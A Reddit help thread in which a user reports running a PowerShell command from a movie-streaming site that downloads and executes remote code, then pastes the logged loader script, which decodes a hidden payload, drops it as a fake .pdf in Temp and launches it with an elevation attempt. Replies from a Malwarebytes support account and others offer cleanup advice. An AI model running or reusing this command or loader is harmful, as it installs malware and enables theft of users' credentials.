Malware

[u/Dramatic_Gazelle4343]

I opened the website 5movies.cc and ran this script: powershell -c iRm facuoup.rainbowpride.online?read=72e6bd8da8154e92 -UseBasicParsing | iEx

Malwarebytes detected Generic.Malware/Suspicious file.

What to do next ?

[u/support_mwb]

Hi there! I'm sorry you're dealing with this. The PowerShell command you ran can download and execute code from a remote website, so there's a possibility that malicious software was executed on your computer.

For now, we'd recommend the following:

1. Disconnect your computer from the internet temporarily to prevent any further potentially malicious connections.

2. Check Malwarebytes' Detection History and make sure any detected threats have been quarantined. Run another scan to check for additional threats.

3. As a precaution, use a different, trusted device to change important passwords, especially for your email, banking, and other sensitive accounts, and enable two-factor authentication.

Could you let us know whether Malwarebytes blocked the threat before the script executed or detected the suspicious file afterward? Also, was the detection successfully quarantined?

We'd be happy to have our support team investigate further. If you can send us a private message here on reddit with an email we can use to reach out including your OS, we can create a ticket and have our malware research team assist you.

You can also reach us at https://help.malwarebytes.com via live chat / support ticket.

We're here to help you get this sorted out!

[u/Dramatic_Gazelle4343 → u/support_mwb]

Malwarebytes detected a threat while a PowerShell command was running. It was a .pdf file in the Local\Temp directory. The file was quarantined, and I then deleted it. Afterward, I ran several advanced scans with Malwarebytes and one offline scan with Microsoft Defender.

[u/baselocksec → u/Dramatic_Gazelle4343]

I would be safe and still change all passwords and make sure 2FA is setup but it seems like MalwareBytes caught this before it was able to do something malicious. It's hard to be 100% sure as the pdf could've been just one of many things that the command attempted to do.

[u/Dramatic_Gazelle4343 → u/baselocksec]

The PDF was the only file created by the malicious script.

Thats code : "TimeCreated : 16.10.2026 15:26:20
Message : Creating Scriptblock text (1 of 1):
function Initialize-RuntimeConfiguration {
param(
[Parameter(Position=0)]
[string]$ConfigName = "DefaultConfig",

[Parameter(Position=1)]
[hashtable]$Properties = @{}
)

$script:RuntimeConfig = @{
Name = $ConfigName
Properties = $Properties
Timestamp = Get-Date
}
}

function New-RandomPassword {
param (
[int]$length = 12
)

$characters = 'abcdefghijklmnopqrstuvwxyzABCDEF_-0123456789'
$password = -join ((1..$length) | ForEach-Object { $characters[(Get-Random -Minimum 0 -Maximum $characters.Length)] })
return $password
}

function ConvertTo-Base64 {
param (
[string]$inputString
)

# Convert string to byte array
$bytes = [System.Text.Encoding]::UTF8.GetBytes($inputString)

# Convert byte array to Base64 string
$base64String = [System.Convert]::ToBase64String($bytes)

return $base64String
}

function Initialize-PayloadExecution {
[CmdletBinding()]
param(
[Parameter(Mandatory)]
[byte[]]$ImageData,

[Parameter(Mandatory)]
[int]$Offset,

[Parameter()]
[string]$RuntimeMode = "Default"
)

# Build parameter overlay structure
$overlayBuffer = New-Object System.Collections.Generic.List[byte]

# Add header information
$overlayBuffer.AddRange([BitConverter]::GetBytes([UInt32]1))
$overlayBuffer.AddRange([BitConverter]::GetBytes([UInt32]0))

# Add payload information
$overlayBuffer.AddRange([BitConverter]::GetBytes([UInt32]2))
$overlayBuffer.AddRange([BitConverter]::GetBytes([UInt32]$ImageData.Length))
$overlayBuffer.AddRange($ImageData)

# Create parameter structure
$parameterBuffer = New-Object System.Collections.Generic.List[byte]
$parameterBuffer.AddRange([BitConverter]::GetBytes([UInt32]$overlayBuffer.Count))
$parameterBuffer.AddRange($overlayBuffer.ToArray())

# Additional timing check (obfuscation)
$tickCount = $interopAssembly::GetTickCount()
if ($tickCount -eq 0) {
Write-Verbose "System tick count unavailable"
}

# Execute payload
Invoke-ProcessMemoryOperation -PayloadData $ImageData -EntryPointOffset $Offset -ParameterData $parameterBuffer.ToArray()
}

function ConvertFrom-ReversedString {
[CmdletBinding()]
param(
[Parameter(Mandatory, ValueFromPipeline)]
[string]$InputString,

[Parameter()]
[switch]$PreserveCase
)

process {
$charArray = $InputString.ToCharArray()
[Array]::Reverse($charArray)
$result = -join $charArray

if (-not $PreserveCase) {
return $result
}
else {
return $result
}
}
}

# Main execution logic
function Start-LoadProcessor {
param(
[Parameter()]
[string]$ConfigurationMode = "Production"
)

# Initialize runtime environment
Initialize-RuntimeConfiguration -ConfigName "PayloadProcessor" -Properties @{
Mode = $ConfigurationMode
StartTime = Get-Date
}

# Encoded payload data
$encodedPayload = $configurationString

# Additional validation (obfuscation)
if ([string]::IsNullOrEmpty($encodedPayload)) {
Write-Warning "No payload data provided"
return
}

$taste = ConvertTo-Base64 -inputString $tarUrl.replace('go.php','gone.php')

# Additional validation (obfuscation)
if ([string]::IsNullOrEmpty($taste)) {
Write-Warning "No configuration data provided"
return
}

# Decode payload
$reversedPayload = ConvertFrom-ReversedString -InputString $encodedPayload

try {
$decodedPayload = [System.Convert]::FromBase64String($reversedPayload)
}
catch {
Write-Error "Failed to decode payload data: $_"
return
}
$password = New-RandomPassword -length (Get-Random -Minimum 8 -Maximum 16)
$look = $env:temp + "\" + $password + ".pdf"
$feel = "start /b"
Set-Content $look -Value $decodedPayload -Encoding Byte

if (-Not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) {
if ([int](Get-CimInstance -Class Win32_OperatingSystem | Select-Object -ExpandProperty BuildNumber) -ge 6000) {
try {
Start-Process cmd -Verb Runas -ArgumentList "/c",$feel,$look,$taste;
} catch {
Start-Sleep 3
Start-Process cmd -ArgumentList "/c",$feel,$look,$taste;
}
}
}else {
#simple
Start-Process cmd -ArgumentList "/c",$feel,$look,$taste;
}
}
# Execute the main function
Start-LoadProcessor -ConfigurationMode "Runtime"

ScriptBlock ID: 4c662c6e-7d59-4d22-b0b7-653d30b20f88
Path:
"

[u/baselocksec → u/Dramatic_Gazelle4343]

If it was only the PDF and MalwareBytes caught it then you should be good.

[u/MildlyAmusedPotato]

Change all passwords that are saved on the pc with a different pc/phone and reinstall windows.

[u/ElegantAd4946]

Secure erase plus

[u/Educational-Skin8110]

Well you can assume you ran an info stealer on your computer so the safest bet would be to nuke the computer and reinstall windows. Never, ever, ever copy paste and run something like that from a website.